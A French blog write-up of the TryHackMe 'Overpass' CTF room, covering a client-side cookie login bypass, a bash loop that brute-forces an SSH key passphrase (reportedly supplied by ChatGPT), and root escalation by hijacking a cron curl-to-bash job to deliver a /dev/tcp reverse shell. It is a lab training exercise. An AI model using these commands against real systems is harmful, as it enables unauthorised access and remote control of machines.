TryHackMe Room overpass

FIKARA BILALFIKARA BILAL
4 min read

Lien de la room: TryHackMe | Overpass

Flag user.txt

On débute par un scan nmap. On a juste deux ports ouverts.

L’interface web sur le port 80 nous renvoie une page assez basique

La commande gobuster dir -u 10.10.140.46 -w /usr/share/wordlists/dirb/big.txt nous donne un répertoire plutôt intéressant.

Il s’agit d’une page de connexion.

On tente de l’injection SQL ici. Après avoir envoyé des données aléatoires, je vois qu’une requête POST est envoyée à http://10.10.140.46/api/login.

On va donc utiliser ffuf vers cette adresse avec une liste de payloads disponible sur Github.

Mais on a rien comme résultat.

En fouillant un peu plus au niveau de l’inspecteur, on tombe sur un fichier login.js.

En regardant de plus près, le bout de code ci-dessous, on voit qu’il contient une faille plutôt logique.

if (statusOrCookie === "Incorrect credentials") {
  // échec
} else {
  // tout le reste = succès → on stocke ce qu’on a reçu comme token
  Cookies.set("SessionToken", statusOrCookie)
  window.location = "/admin"
}

Seul le texte "Incorrect credentials" est traité comme un échec. Tout autre réponses valident la connexion et redirigent vers /admin. On peut donc en tirer parti et modifier manuellement depuis la console du navigateur.

Ensuite au niveau du stockage, on ajoute un nouveau cookie avec le nom “SessionToken“ en lui attribuant n’importe quelle valeur. On recharge ensuite la page.

On a donc accès à la page admin et on y voir une clé privée, avec un nom d’utilisateur James. On peut donc potentiellement avoir une connection en ssh.

La clé est chiffrée en AES-128-CBC. Il va donc falloir en extraire une empreinte exploitable par John the Ripper, cracker la passphrase, puis l’utiliser pour se connecter.

On copie d’abord l’entièreté de la clé débutant par -----BEGIN RSA PRIVATE KEY-----. Avec ssh2john, on génère le hash.

On le cracke ensuite avec john.

🫤Petit blocage ici. L’outil john n’est pas installé sur la machine.

ChatGPT m’a donc fourni une alternative 😙. Un script permettant de trouver la passphrase de la clé privée.

#!/bin/bash
KEYFILE="priv_key"
WORDLIST="/usr/share/wordlists/rockyou.txt"

while IFS= read -r pass; do
  # Tente de déchiffrer ; on envoie stdout/stderr vers /dev/null
  openssl rsa -in "$KEYFILE" -passin pass:"$pass" -out /dev/null 2>/dev/null
  if [ $? -eq 0 ]; then
    echo "[+] Passphrase trouvée : $pass"
    exit 0
  fi
done < "$WORDLIST"

echo "[-] Aucune passphrase trouvée dans $WORDLIST"

À copier dans un fichier crack.sh puis le rendre exécutable avec chmod +x crack.sh. Lancer ensuite le script avec ./crack.sh.

On a maintenant la passphrase 😋. On peut se connecter avec l'utilisateur trouvé un peu plus haut.

La dernière étape consite à rendre la clé uniquement lisible par le propriétaire, car SSH l’exige

On fait donc chmod 600 priv_key.

On arrive à se connecter et on le premier flag 🥳.

Flag root.txt

Dans le répertoire de l’utilisateur james, on a un fichier todo.txt

Celui-ci donne des indices plutôt intéressants: Le mot de passe est peut être quelque part dans un fichier? Ou il peut y avoir aussi un password manager? Il suggère aussi de tester overpass pour macOS.

J’ai tenté de rechercher un fichier avec overpass, password, ou password manager. Juste les résultats pour overpass sont intéressants.

On a un binaire /usr/bin/overpass et un fichier /.overpass.

On cherche aussi l’utilitaire crontab qui permet de planifier l’exécution de tâches ou scripts de manière périodique. On voit que la commande curl overpass.thm/downloads/src/buildscript.sh | bash s’exécute chaque minute. Il télécharge le script buildscript.sh depuis overpass.thm/downloads/src/ avec curl puis l’exécute avec bash.

On voit aussi que overpass.thm pointe vers la machine même(localhost). Donc si on lance un serveur HTTP sur le port 80 sur notre machine Kali, on contrôle totalement ce que root télécharge et exécute. On peut ensuite modifier le fichier /etc/hosts du serveur cible et la pointer vers notre machine Kali.

Première étape, on crée un répertoire identique à ce qui est exécuté sur la machine cible soit /downloads/src/. On y créé ensuite un fichier buildscript.sh qui contient le reverse shell. Vous pouvez utiliser Online - Reverse Shell Generator pour créer votre reverse shell.

#!/bin/bash
/bin/bash -i >& /dev/tcp/IP_MACHINE_KALI/4444 0>&1

Prochaine étape serait de créée un serveur python sur la machine Kali sur le port 80 et un écouteur sur le port 4444

On retourne ensuite modifier le fichier /etc/hosts pour faire pointer overpass.thm vers l’adresse IP de la machine Kali.

On patiente alors une minute pour que la tâche s’exécute à nouveau, et on a le shell sur notre machine Kali.

On a le flag 🥳

0
Subscribe to my newsletter

Read articles from FIKARA BILAL directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

FIKARA BILAL
FIKARA BILAL

As a newcomer to the cybersecurity industry, I'm on an exciting journey of continuous learning and exploration. Join me as I navigate, sharing insights and lessons learned along the way